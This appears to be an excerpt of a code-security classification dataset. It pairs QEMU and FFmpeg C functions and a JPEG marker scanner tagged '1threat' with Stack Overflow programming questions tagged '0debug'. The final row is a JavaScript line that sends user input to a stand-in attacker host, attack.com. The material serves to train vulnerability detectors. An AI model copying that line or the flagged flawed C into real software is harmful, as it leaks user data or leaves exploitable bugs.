if (msi_trigger) {
msix_notify(dev, pcie_aer_root_get_vector(dev));
}
} else if (msi_enabled(dev)) {
if (msi_trigger) {
msi_notify(dev, pcie_aer_root_get_vector(dev));
}
} else {
qemu_set_irq(dev->irq[dev->exp.aer_intx], 1);
}
msg_sent = true;
}
return msg_sent;
}
| 1threat
|
void vp8_mc_part(VP8Context *s, uint8_t *dst[3],
AVFrame *ref_frame, int x_off, int y_off,
int bx_off, int by_off,
int block_w, int block_h,
int width, int height, VP56mv *mv)
{
VP56mv uvmv = *mv;
vp8_mc(s, 1, dst[0] + by_off * s->linesize + bx_off,
ref_frame->data[0], mv, x_off + bx_off, y_off + by_off,
block_w, block_h, width, height, s->linesize,
s->put_pixels_tab[block_w == 8]);
if (s->profile == 3) {
uvmv.x &= ~7;
uvmv.y &= ~7;
}
x_off >>= 1; y_off >>= 1;
bx_off >>= 1; by_off >>= 1;
width >>= 1; height >>= 1;
block_w >>= 1; block_h >>= 1;
vp8_mc(s, 0, dst[1] + by_off * s->uvlinesize + bx_off,
ref_frame->data[1], &uvmv, x_off + bx_off, y_off + by_off,
block_w, block_h, width, height, s->uvlinesize,
s->put_pixels_tab[1 + (block_w == 4)]);
vp8_mc(s, 0, dst[2] + by_off * s->uvlinesize + bx_off,
ref_frame->data[2], &uvmv, x_off + bx_off, y_off + by_off,
block_w, block_h, width, height, s->uvlinesize,
s->put_pixels_tab[1 + (block_w == 4)]);
}
| 1threat
|
Find pattern in files with java 8 : <p>consider I have a file like (just an excerpt)</p>
<pre><code>name: 'foobar'
</code></pre>
<p>I like to retrieve <code>foobar</code> when I discover the line with <code>name</code>.</p>
<p>My current approach is</p>
<pre><code>Pattern m = Pattern.compile("name: '(.+)'");
try (Stream<String> lines = Files.lines(ruleFile)) {
Optional<String> message = lines.filter(m.asPredicate()).findFirst();
if (message.isPresent()) {
Matcher matcher = m.matcher(message.get());
matcher.find();
String group = matcher.group(1);
System.out.println(group);
}
}
</code></pre>
<p>which looks not nice. The excessive use of the pattern and matcher seems wrong.</p>
<p>Is there a easier/better way ? Especially if I have multiple keys I like to search like this ?</p>
| 0debug
|
How to call a function and give it a string : <p>Okay, I want to call the function OpenApp() (located in a class called API.vb), but when calling it I want to pass a string to it like that:</p>
<pre><code>API.OpenApp("Settings")
</code></pre>
<p>That's good, but how can I detect that this string has been passed, like so the function knows there's a string?</p>
| 0debug
|
static int find_marker(const uint8_t **pbuf_ptr, const uint8_t *buf_end)
{
const uint8_t *buf_ptr;
unsigned int v, v2;
int val;
int skipped = 0;
buf_ptr = *pbuf_ptr;
while (buf_ptr < buf_end) {
v = *buf_ptr++;
v2 = *buf_ptr;
if ((v == 0xff) && (v2 >= 0xc0) && (v2 <= 0xfe) && buf_ptr < buf_end) {
val = *buf_ptr++;
goto found;
}
skipped++;
}
val = -1;
found:
av_dlog(NULL, "find_marker skipped %d bytes\n", skipped);
*pbuf_ptr = buf_ptr;
return val;
}
| 1threat
|
Timed out waiting for process to appear on device : <p>I am having the following problem when running or debugging apps on a device or emulator with Android Studio. The application is installed but it is not started on the device (or emulator). In the Run window I can see the following:</p>
<p>Launching app on device.
Waiting for process to come online...</p>
<p>and after some time I see the following:
Timed out waiting for process to appear on 'device'...</p>
<p>I have attached a screenshot that shows the problem.</p>
<p><a href="https://i.stack.imgur.com/dXzhJ.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/dXzhJ.jpg" alt="enter image description here"></a></p>
<p>The problem started recently. I am using the latest version of Android studio (3.5.1) and a Google Pixel device running Android 10 but the problem happens on emulators and other devices running previous versions of Android. The problem also happens on two different computers, with different Android applications and devices - the common factor is Android studio. Finally, the problem seems to have started after I updated Android Studio to 3.5. </p>
<p>Does anyone know how to fix this problem? I have tried many things (clear cache, rebuild, invalidate and restart, etc) without success.</p>
<p>Any ideas?</p>
| 0debug
|
PythonChallenge. Find rare characters in the mess below : <p>I'm trying to learn programming via <a href="http://www.pythonchallenge.com" rel="nofollow noreferrer">PythonChallenge</a> (I have no background in programming at all) and now I'm stuck on this <a href="http://www.pythonchallenge.com/pc/def/ocr.html" rel="nofollow noreferrer">challenge</a>, which requires me to find rare characters in the mess. The mess is in the source code of that page, which I've put in the file 'py.txt'.</p>
<p>I've tried this code below and it prints just this: <code>[('t', 2), ('e', 1), ('x', 1)]</code>, but the most interesting part is that isn't the right answer i think.</p>
<pre><code>from collections import Counter
with open('C:/py.txt', 'r') as f:
text = f.read()
c = Counter("text")
print(c.most_common())
</code></pre>
<p>When you look at the source code on the page and search for some characters (let's say 'a') <a href="https://i.stack.imgur.com/RralQ.png" rel="nofollow noreferrer">image here</a> it shows you that 'a' is in the list but it doesn't appear in the code output.</p>
<p>Please, help, I need to find all of those 'rare' characters. Thanks!</p>
<p>Oh, and also, I want to ask you how to learn Python from scratch. Maybe you have some good books to recommend or some online-resources (it would be better if it had some practical-homework stuff like doing small projects which don't require much math). Thanks a lot.</p>
| 0debug
|
window.location.href = 'http://attack.com?user=' + user_input;
| 1threat
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.